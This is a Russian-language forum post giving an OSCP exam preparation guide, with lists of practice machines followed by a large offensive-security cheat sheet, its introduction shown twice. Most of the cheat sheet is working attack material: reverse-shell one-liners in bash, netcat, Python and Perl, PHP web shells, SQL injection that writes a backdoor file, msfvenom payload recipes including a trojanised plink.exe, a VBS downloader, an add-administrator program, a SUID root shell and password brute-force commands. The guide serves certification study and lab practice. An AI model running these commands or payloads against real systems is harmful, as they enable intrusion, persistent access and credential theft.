Всем большой и трайхардовый привет!
Как и обещал эту статью, в продолжении идеологии просвещения в OSCP - я уделю внимание именно инструментарию и полезным ссылкам...
!Хочу обратить внимание, этот гайд предназначен не только для подготовки к экзамену, так же применим к CTF и очень пригодится для построения структуры работ при проведении тестирования на проникновение или Pentest'ов в реальной жизни. Вам нужно выработать навык владения инструментарием, научиться конспектировать и строить структурные отчеты и всегда докапываться до мелочей и никогда не сдаваться.
ВОДА:
Как я описывал ранее весь процесс подготовки и сдачи экзамена OSCP достаточно сердитый процесс, требующий не только знаний, но и организации рабочего места для самого процесса экзаменирования. Описанные в прошлой статье 10 шагов действительно помогут Вам быть готовыми на все 99,9%
Но, независимо от Ваших знаний и самооценки требует уделить особое внимание к процессу подготовки и сделать небольшую работу по сбору информации от уже прошедших экзаменацию и иную информацию в интернете, для того, чтобы подойти к "снаряду" уверенно и не совершать ошибок, ведь 800 капустных листов не валяются на дороге. Я сделал за Вас эту работу и думаю Вы оцените эту "солянку",
Итак, погнали...
Моя подготовка началась осенью 2018 г. с площадки
Дальше, прочитав множество статей на очень НЕ Русском языке от прошедших экзаменацию от
1. Уделите внимание тренировочному процессу, это крайне важно. Ниже списком я представлю OSCP-like машины, которые Вы можете натренировать если не сталкивались с CTF "коробками". Проведите тренировку скачав образы с Vulnhub или купив платную подписку на Hackthebox которая позволить играть со снятыми с вооружения снарядами.
HackTheBox была отличной платформой, которая поможет Вам адаптироваться перед сдачей OSCP, однако имейте ввиду, многие таски там слишком CTF-Like. Если Вам пока не ясна данная терминология - рвите когти туда и когда адские слезы превратяться в кристаллы и после месяцев подготовки Вы начнете понимать разницу между стандартными машинами и некими адовыми чертовщинами решать которые получается только сплотившись командой - возвращайтесь сюда и продолжайте чтиво...
!Не старайтесь брать все Active машины, это не всегда просто и зачастую настолько наворочено, что мозг при каждом высмаркивании вытекает через ноздри. Просто научитесь находить уязвимость, находить эксплуатацию, эксплуатировать и кране важно - фиксируйте все свои изыскания в виде заметок и делайте больше скринов, чтобы выработать привычку.
Так же после того, как набьете руку об Ваш манипулятор на коробках, переходите на
Только имея опыт по взятию юзеров и рутов Вы сможете без применения вратайпов испытать свои навыки для того, чтобы подвести наработанные знания - к экзаменационным.
Сейчас я перечислю машины из площадок VulnHub и HackTheBox, которые очень сильно похожи на те, которые будут на экзамене и Вам жизненно необходимо научиться решать их без гугла.
VulnHub:
HackTheBox:
!Внимание, на данном ресурсе действует единственно правило - поддерживать ресурс деньгой, поэтому убранные в кладовку машины на фри недоступны и Вам нужно заплатить 11 фунтов BRexit денег для того, чтобы иметь возможность поиграть в них. Поэтому я даю Вам готовые врайтапы по ним.
ИНСТРУМЕНТАРИЙ:
Итак, дорогие мои (фраза взята у Малышевой вдруг что), давайте немного пофантазируем и представим себе, что мы получили доступ к лабараторке и видим такую картину:
Давайте договоримся сразу представлять перед собой цели в удобном виде:
1. Enumeration или по-нашему Перечисление. Это то с чего начинают все, это именно та база, которая должна быть в Вас и доведена до автоматизма.
Практически в каждом обзоре, который я находил про OSCP - говорится, что Вы должны составить у себя в голове сценарий перечисления и без него Вы не успеете в отведенный срок пропустив какую-нибудь незначительную деталь из-за которой придется делать скан снова и снова… Но уже есть готовые сценарии, специально предназначенные для OSCP, такие как Reconnoitre (Разведка или рекогносцировка) от Codingo. Этот сказочный инструмент действительно может помочь Вам найти вектор достаточно быстро, знающие люди используют данный инструмент и после сдачи экзамена, в случае отсутствия видимых векторов пробуйте ручные сценарии сканирования. Ниже приведены команды и инструментарий, которые будут невероятно полезны:
Nmap
Quick TCP Scan
Quick UDP Scan
Full TCP Scan
Port knock
Web Scanning
Nikto - незаменимая утилита, использую на постоянной основе в реальных проэктах
Dirsearch Directory unumerate - использую всегда только его
Dirsearch Так же я лично очень часто использую большой словарик с dirb в связке
Gobuster quick directory busting
Gobuster comprehensive directory busting
Gobuster search with file extension
Gobuster Ну и моя любимая
Wfuzz этот инструмент зачастую встречаю на врайтапах HTB
Wordpress scan простой
Wordpress наебуреный для гарантированного результата
+( вот эти команды если Вы знаете, что папки были намеренно перенесены --wp-plugins-dir plugins --wp-content-dir /)
Port Checking
Netcat banner grab
Telnet banner grab
SMB
SMB Vulnerability Scan
SMB Users & Shares Scan
Enum4linux
Null connect
Connect to SMB share
SNMP
SNMP enumeration
Python Servers
Web Server
FTP Server
# Install pyftpdlib
# Run (-w flag allows anonymous write access)
Reverse Shells
Bash shell
Netcat without -e flag
Netcat Linux
Netcat Windows
Python
Perl
Remote Desktop
Remote Desktop for windows with share and 85% screen
PHP
PHP command injection from GET Request
#Alternative
Powershell
Non-interactive execute powershell file
Misc
More binaries Path
Linux proof
Windows proof
SSH Tunneling / Pivoting
Local port forwarding
Remote port forwarding
Dynamic port forwarding
Plink local port forwarding
SQL Injection
# sqlmap crawl
# sqlmap dump database
sqlmap -u
# sqlmap shell
sqlmap -u
Upload php command injection file
Load file
Bypasses
Brute force
John the Ripper shadow file
RDP user with password list
SSH user with password list
FTP user with password list
MSFVenom Payloads
Interactive Shell
Upgrading to a fully interactive TTY using Python
File Transfers
HTTP
The most common file transfer method.
FTP
This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.
TFTP
Generic.
VBS
When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.
Buffer Overflow или Переполнение буфера
Тут я чувствую свое упущение и нужно еще набраться опыта.
Представлю Вам PDF файл который поможет понять процесс.
СКРИПТЫ крайне полезные:
useradd.c
Windows - Add user.
SUID
Set owner user ID.
Powershell Run as
Run file as another user with powershell.
Process Monitor
Monitor processes to check for running cron jobs.
Сама экзаменационная среда может выглядеть так:
LINKS или крайне полезные ссылки:
Privilege Escalation:
Scripts:
Дальше пока сумбур и адское количество полезной информации, которую я не успел перебрать и представить в удобоваримом виде и по мере моявления свободного времени обязательно приведу в соответствующий вид и буду дополнять:
github.com
github.com
github.com
github.com
github.com
Mixed
github.com
github.com
MsfVenom
Shell Escape Techniques
Pivoting
Linux Privilege Escalation
github.com
github.com
github.com
Windows Privilege Escalation
github.com
github.com
github.com
github.com
github.com
Shellterlabs : Writing exploits -
Shellter Hacking Express challenges -
Windows BOF PCMan FTP -
Hack the box -
Nishang : PowerShell scripts - samratashok/nishang
Windows Privilege Escalation Fundamentals -
Basic Linux Privilege Escalation -
Pentest Tips and Tricks -
Nmap cheat sheet -
SANS Institute : Port Knocking basics -
Teck_K2 OSCP review -
m4lv0id OSCP review -
The definitive hacking playlist -
Ставьте свои класневичи и дополняйте если есть замечания... Offencive Security ждет Вас
Как и обещал эту статью, в продолжении идеологии просвещения в OSCP - я уделю внимание именно инструментарию и полезным ссылкам...
!Хочу обратить внимание, этот гайд предназначен не только для подготовки к экзамену, так же применим к CTF и очень пригодится для построения структуры работ при проведении тестирования на проникновение или Pentest'ов в реальной жизни. Вам нужно выработать навык владения инструментарием, научиться конспектировать и строить структурные отчеты и всегда докапываться до мелочей и никогда не сдаваться.
ВОДА:
Как я описывал ранее весь процесс подготовки и сдачи экзамена OSCP достаточно сердитый процесс, требующий не только знаний, но и организации рабочего места для самого процесса экзаменирования. Описанные в прошлой статье 10 шагов действительно помогут Вам быть готовыми на все 99,9%
Но, независимо от Ваших знаний и самооценки требует уделить особое внимание к процессу подготовки и сделать небольшую работу по сбору информации от уже прошедших экзаменацию и иную информацию в интернете, для того, чтобы подойти к "снаряду" уверенно и не совершать ошибок, ведь 800 капустных листов не валяются на дороге. Я сделал за Вас эту работу и думаю Вы оцените эту "солянку",
Итак, погнали...
Моя подготовка началась осенью 2018 г. с площадки
Ссылка скрыта от гостей
и в конце Декабря 2018 года я решил принять участие в очень неплохой и невероятно интересной площадке
Ссылка скрыта от гостей
, врайтап по которой я опубликовал на нашем форуме в Январе 2019 состоящую из 4 частей.Дальше, прочитав множество статей на очень НЕ Русском языке от прошедших экзаменацию от
Ссылка скрыта от гостей
, 27 Января 2019 г. мой следующий выбор пал на
Ссылка скрыта от гостей
.1. Уделите внимание тренировочному процессу, это крайне важно. Ниже списком я представлю OSCP-like машины, которые Вы можете натренировать если не сталкивались с CTF "коробками". Проведите тренировку скачав образы с Vulnhub или купив платную подписку на Hackthebox которая позволить играть со снятыми с вооружения снарядами.
HackTheBox была отличной платформой, которая поможет Вам адаптироваться перед сдачей OSCP, однако имейте ввиду, многие таски там слишком CTF-Like. Если Вам пока не ясна данная терминология - рвите когти туда и когда адские слезы превратяться в кристаллы и после месяцев подготовки Вы начнете понимать разницу между стандартными машинами и некими адовыми чертовщинами решать которые получается только сплотившись командой - возвращайтесь сюда и продолжайте чтиво...
!Не старайтесь брать все Active машины, это не всегда просто и зачастую настолько наворочено, что мозг при каждом высмаркивании вытекает через ноздри. Просто научитесь находить уязвимость, находить эксплуатацию, эксплуатировать и кране важно - фиксируйте все свои изыскания в виде заметок и делайте больше скринов, чтобы выработать привычку.
Так же после того, как набьете руку об Ваш манипулятор на коробках, переходите на
Ссылка скрыта от гостей
. Это площадка, позволяющая вне зависимости от вероисповедания, наличия денег на VIP подписку или отсутствие опыта, скачать образ подготовленной виртуальной машины и приступить к выполнению задач по поиску флагов.Только имея опыт по взятию юзеров и рутов Вы сможете без применения вратайпов испытать свои навыки для того, чтобы подвести наработанные знания - к экзаменационным.
Сейчас я перечислю машины из площадок VulnHub и HackTheBox, которые очень сильно похожи на те, которые будут на экзамене и Вам жизненно необходимо научиться решать их без гугла.
VulnHub:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостейfromСсылка скрыта от гостей
Ссылка скрыта от гостей
была одна машина под названием "туманность" или "nebula". Методы, используемые на этой машине, были жизненно важны и по словам счастливчиков - реально используются в лаборатории.HackTheBox:
!Внимание, на данном ресурсе действует единственно правило - поддерживать ресурс деньгой, поэтому убранные в кладовку машины на фри недоступны и Вам нужно заплатить 11 фунтов BRexit денег для того, чтобы иметь возможность поиграть в них. Поэтому я даю Вам готовые врайтапы по ним.
-
Ссылка скрыта от гостей
ИНСТРУМЕНТАРИЙ:
Итак, дорогие мои (фраза взята у Малышевой вдруг что), давайте немного пофантазируем и представим себе, что мы получили доступ к лабараторке и видим такую картину:
OSCP/
├── Public
│ ├── Box1 - 10.10.10.10
│ └── Box2 - 10.10.10.11
├── IT Department
│ ├── Box1 - 10.11.11.10
│ └── Box2 - 10.11.11.11
├── Dev Department
│ ├── Box1 - 10.12.12.10
│ └── Box2 - 10.12.12.11
├── Admin Department
│ ├── Box1 - 10.13.13.10
│ └── Box2 - 10.13.13.11
├── Exercises
│ ├── 1.3.1.3
│ └── 2.2.1
└── Shortcuts
├── Public
│ ├── Box1 - 10.10.10.10
│ └── Box2 - 10.10.10.11
├── IT Department
│ ├── Box1 - 10.11.11.10
│ └── Box2 - 10.11.11.11
├── Dev Department
│ ├── Box1 - 10.12.12.10
│ └── Box2 - 10.12.12.11
├── Admin Department
│ ├── Box1 - 10.13.13.10
│ └── Box2 - 10.13.13.11
├── Exercises
│ ├── 1.3.1.3
│ └── 2.2.1
└── Shortcuts
Давайте договоримся сразу представлять перед собой цели в удобном виде:
Hostname | IP | Exploit | ARP | Loot | OS |
---|---|---|---|---|---|
Box1 | 10.10.10.10 | MS08-067 | 10.10.10.11 | capture.pcap | Windows Server 2000 |
1. Enumeration или по-нашему Перечисление. Это то с чего начинают все, это именно та база, которая должна быть в Вас и доведена до автоматизма.
Практически в каждом обзоре, который я находил про OSCP - говорится, что Вы должны составить у себя в голове сценарий перечисления и без него Вы не успеете в отведенный срок пропустив какую-нибудь незначительную деталь из-за которой придется делать скан снова и снова… Но уже есть готовые сценарии, специально предназначенные для OSCP, такие как Reconnoitre (Разведка или рекогносцировка) от Codingo. Этот сказочный инструмент действительно может помочь Вам найти вектор достаточно быстро, знающие люди используют данный инструмент и после сдачи экзамена, в случае отсутствия видимых векторов пробуйте ручные сценарии сканирования. Ниже приведены команды и инструментарий, которые будут невероятно полезны:
Nmap
Quick TCP Scan
Bash:
nmap -sC -sV -vv -oA quick 10.10.10.10
Quick UDP Scan
Bash:
nmap -sU -sV -vv -oA quick_udp 10.10.10.10
Full TCP Scan
Bash:
nmap -sC -sV -p- -vv -oA full 10.10.10.10
Port knock
Bash:
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x 10.10.10.10; done
Web Scanning
Nikto - незаменимая утилита, использую на постоянной основе в реальных проэктах
Bash:
nikto -h 10.10.10.10
Dirsearch Directory unumerate - использую всегда только его
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x 301,403,503,302 --random-agent
Dirsearch Так же я лично очень часто использую большой словарик с dirb в связке
Bash:
python dirsearch.py -u http://10.10.10.10 -e php,txt,html,log,conf,cfg,ini,pdf -x 301,403,503,302 --random-agent -w big.txt -f
Gobuster quick directory busting
Bash:
gobuster -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t 80 -a Linux
Gobuster comprehensive directory busting
Bash:
gobuster -s 200,204,301,302,307,403 -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -t 80 -a 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'
Gobuster search with file extension
Bash:
gobuster -u 10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/common.txt -t 80 -a Linux -x .txt,.php
Gobuster Ну и моя любимая
Bash:
gobuster -k -fw -u http://10.10.10.10 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -e php,txt,htm,html,phtml,js,zip,rar,tar
Wfuzz этот инструмент зачастую встречаю на врайтапах HTB
Bash:
wfuzz -X GET -c --hc 301 -t 50 -w /home/clevergod/CTF/dirsearch/db/BIG.txt -u http://10.10.10.10
Wordpress scan простой
Bash:
wpscan -u http://10.10.10.10/
Wordpress наебуреный для гарантированного результата
Bash:
wpscan --url http://10.10.10.10/ --force --ignore-main-redirect --stealthy
Port Checking
Netcat banner grab
Bash:
nc -v 10.10.10.10 port
Telnet banner grab
Bash:
telnet 10.10.10.10 port
SMB
SMB Vulnerability Scan
Bash:
nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse 10.10.10.10
SMB Users & Shares Scan
Bash:
nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10
Enum4linux
Bash:
enum4linux -a 10.10.10.10
Null connect
Bash:
rpcclient -U "" 10.10.10.10
Connect to SMB share
Bash:
smbclient //MOUNT/share
SNMP
SNMP enumeration
Bash:
snmp-check 10.10.10.10
Python Servers
Web Server
Bash:
python -m SimpleHTTPServer 80
FTP Server
# Install pyftpdlib
Bash:
pip install pyftpdlib
# Run (-w flag allows anonymous write access)
Bash:
python -m pyftpdlib -p 21 -w
Reverse Shells
Bash shell
Bash:
bash -i >& /dev/tcp/10.10.10.10/4443 0>&1
Netcat without -e flag
Bash:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f
Netcat Linux
Bash:
nc -e /bin/sh 10.10.10.10 4443
Netcat Windows
Bash:
nc -e cmd.exe 10.10.10.10 4443
Python
Bash:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl
Bash:
perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Remote Desktop
Remote Desktop for windows with share and 85% screen
Bash:
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10
PHP
PHP command injection from GET Request
Bash:
<?php echo system($_GET["cmd"]);?>
#Alternative
Bash:
<?php echo shell_exec($_GET["cmd"]);?>
Powershell
Non-interactive execute powershell file
Bash:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1
Misc
More binaries Path
Bash:
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/
Linux proof
Bash:
hostname && whoami && cat proof.txt && /sbin/ifconfig
Windows proof
Bash:
hostname && whoami.exe && type proof.txt && ipconfig /all
SSH Tunneling / Pivoting
Bash:
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
Local port forwarding
Bash:
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
Remote port forwarding
Bash:
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Dynamic port forwarding
Bash:
ssh -D <local proxy port> -p <remote port> <target>
Plink local port forwarding
Bash:
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
SQL Injection
# sqlmap crawl
Bash:
sqlmap -u http://10.10.10.10 --crawl=1
# sqlmap dump database
sqlmap -u
Ссылка скрыта от гостей
--dbms=mysql --dump[/CODE]# sqlmap shell
sqlmap -u
Ссылка скрыта от гостей
--dbms=mysql --os-shell[/CODE]Upload php command injection file
Bash:
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
Load file
Bash:
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6
Bypasses
Bash:
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -
Brute force
John the Ripper shadow file
Bash:
$ unshadow passwd shadow > unshadow.db
$ john unshadow.db
Bash:
# Hashcat SHA512 $6$ shadow file
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username
#Hashcat MD5 $1$ shadow file
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
# Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
# Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force
# Hashcat Wordpress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
RDP user with password list
Bash:
ncrack -vv --user offsec -P passwords rdp://10.10.10.10
SSH user with password list
Bash:
hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22
FTP user with password list
Bash:
medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp
MSFVenom Payloads
Bash:
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php
# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war
# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf
# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c
# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe
# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py
# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp
# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18
# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai
# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe
# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe
Interactive Shell
Upgrading to a fully interactive TTY using Python
Bash:
# Enter while in reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
File Transfers
HTTP
The most common file transfer method.
Bash:
# In Kali
python -m SimpleHTTPServer 80
# In reverse shell - Linux
wget 10.10.10.10/file
# In reverse shell - Windows
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"
FTP
This process can be mundane, a quick tip would be to be to name the filename as ‘file’ on your kali machine so that you don’t have to re-write the script multiple names, you can then rename the file on windows.
Bash:
# In Kali
python -m pyftpdlib -p 21 -w
# In reverse shell
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -v -n -s:ftp.txt
TFTP
Generic.
Bash:
# In Kali
atftpd --daemon --port 69 /tftp
# In reverse shell
tftp -i 10.10.10.10 GET nc.exe
VBS
When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.
Bash:
# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe
Buffer Overflow или Переполнение буфера
Тут я чувствую свое упущение и нужно еще набраться опыта.
Представлю Вам PDF файл который поможет понять процесс.
Bash:
# Payload
payload = "\x41" * <length> + <ret_address> + "\x90" * 16 + <shellcode> + "\x43" * <remaining_length>
# Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>
# Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q <address>
# nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp eax
# Bad characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
СКРИПТЫ крайне полезные:
useradd.c
Windows - Add user.
C:
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
int main ()
{
int i;
i=system ("net user <username> <password> /add && net localgroup administrators <username> /add");
return 0;
}
# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c
SUID
Set owner user ID.
Bash:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
# Compile
gcc suid.c -o suid
Powershell Run as
Run file as another user with powershell.
Код:
echo $username = '<username>' > runas.ps1
echo $securePassword = ConvertTo-SecureString "<password>" -AsPlainText -Force >> runas.ps1
echo $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword >> runas.ps1
echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Credential $credential >> runas.ps1
Process Monitor
Monitor processes to check for running cron jobs.
Bash:
#!/bin/bash
# Loop by line
IFS=$'\n'
old_process=$(ps -eo command)
while true; do
new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
sleep 1
old_process=$new_process
done
Сама экзаменационная среда может выглядеть так:
OSCP/
├── Offensive Security Lab Penetration Test Report
│ ├── Introduction
│ ├── Objective
│ └── Scope
├── High-Level Summary
│ └── Recommendations
├── Methodologies
│ ├── Information Gathering
│ ├── Service Enumeration
│ ├── Penetration
│ ├── Maintaining Access
│ └── House Cleaning
└── Findings
├── Box1 - 10.10.10.10
├── Box2 - 10.10.10.11
├── Box3 - 10.10.10.12
├── Box4 - 10.10.10.13
└── Box5 - 10.10.10.14
├── Offensive Security Lab Penetration Test Report
│ ├── Introduction
│ ├── Objective
│ └── Scope
├── High-Level Summary
│ └── Recommendations
├── Methodologies
│ ├── Information Gathering
│ ├── Service Enumeration
│ ├── Penetration
│ ├── Maintaining Access
│ └── House Cleaning
└── Findings
├── Box1 - 10.10.10.10
├── Box2 - 10.10.10.11
├── Box3 - 10.10.10.12
├── Box4 - 10.10.10.13
└── Box5 - 10.10.10.14
LINKS или крайне полезные ссылки:
Privilege Escalation:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
- togie6 Windows Priv Esc Guide
Scripts:
Дальше пока сумбур и адское количество полезной информации, которую я не успел перебрать и представить в удобоваримом виде и по мере моявления свободного времени обязательно приведу в соответствующий вид и буду дополнять:
b1n4ry4rms/RedTeam-Pentest-Cheatsheets
Red Teaming :: Penetration Testing :: Offensive Security :: OSCP :: OSCE :: CheatSheets :: Tools :: etc... - b1n4ry4rms/RedTeam-Pentest-Cheatsheets

Ссылка скрыта от гостей
Ссылка скрыта от гостей
Ссылка скрыта от гостей
GitHub - h4ppytree/linux-exploit-suggester: Linux privilege escalation auditing tool
Linux privilege escalation auditing tool. Contribute to h4ppytree/linux-exploit-suggester development by creating an account on GitHub.
GitHub - h4ppytree/kernel-exploits
